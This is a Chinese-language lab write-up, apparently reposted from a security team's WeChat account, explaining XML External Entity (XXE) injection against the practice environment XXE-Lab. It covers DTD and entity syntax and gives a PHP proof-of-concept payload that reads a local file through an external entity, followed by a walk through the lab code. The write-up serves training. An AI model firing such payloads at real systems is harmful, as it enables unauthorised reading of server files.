XXE-Lab笔记

admin 2022年10月8日12:26:32评论36 views字数 1302阅读4分20秒阅读模式

0x00前言

XXE 漏洞全称 XML External Entity Injection 即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 xml 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起 dos 攻击等危害。

XXE 漏洞触发的点往往是可以上传 xml 文件的位置,没有对上传的 xml 文件进行过滤,导致可上传恶意 xml 文件。

基本语法

  • 所有 XML 元素都须有关闭标签

  • XML 标签对大小写敏感

  • XML 文档必须有根元素

  • XML 的属性值须加引号

在 XML 中,一些字符拥有特殊的意义,如果把这些字符放在XML元素中就会产生错误,所以必须用实体引用来代替

XXE-Lab笔记

重点是XML验证中的DTD

DTD 简介:DTD 的作用是定义 XML 文档的结构。它使用一系列合法的元素来定义文档结构:

<!DOCTYPE note (to,from,heading,body)>   to      (#PCDATA)>   from    (#PCDATA)>   heading (#PCDATA)>   body    (#PCDATA)>]>

文档类型定义(DTD)可定义合法的 XML 文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

XXE-Lab笔记

内部实体声明语法

<!ENTITY实体名称 "实体的值">

外部实体声明语法

<!ENTITY实体名称 SYSTEM "URI/URL">

1.内部实体声明    DTD 实例:     writer "Donald Duck.">    XML 实例:&writer;©right;2.外部实体声明    DTD 实例:     writer SYSTEM "http://www.runoob.com/entities.dtd">    XML 实例:&writer;©right;

注:一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号(;)


特征:

Accept: application/xml, text/xml, */*; q=0.01

一般XXE利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe可以使用外带数据通道提取数据。

XXE-Lab是有回显的。



0x01正文

1.PHP-XXE

POC:

<?xml version="1.0"?><!DOCTYPE admin [<!ENTITY test SYSTEM "file:////C:/phpstudy_pro/WWW/xxe-lab/php_xxe/1.txt">]><user><username>&test;</username><password>admin</password></user>

XXE-Lab笔记


XXE-Lab笔记


全部代码:

XXE-Lab笔记


分析:

$xmlfile = file_get_contents('php://input'); 用PHP伪协议来读取文件

XXE-Lab笔记


将POC传入之后,做一个处理,对username、password做一个验证,而且在回显中需要有$username和$password参数

XXE-Lab笔记


流程走向:

XXE-Lab笔记


返回输出$creds,然后传入$username

XXE-Lab笔记


结果:

XXE-Lab笔记


- End -


原文始发于微信公众号(NS Demon团队):XXE-Lab笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月8日12:26:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XXE-Lab笔记http://cn-sec.com/archives/1302716.html

发表评论

匿名网友 填写信息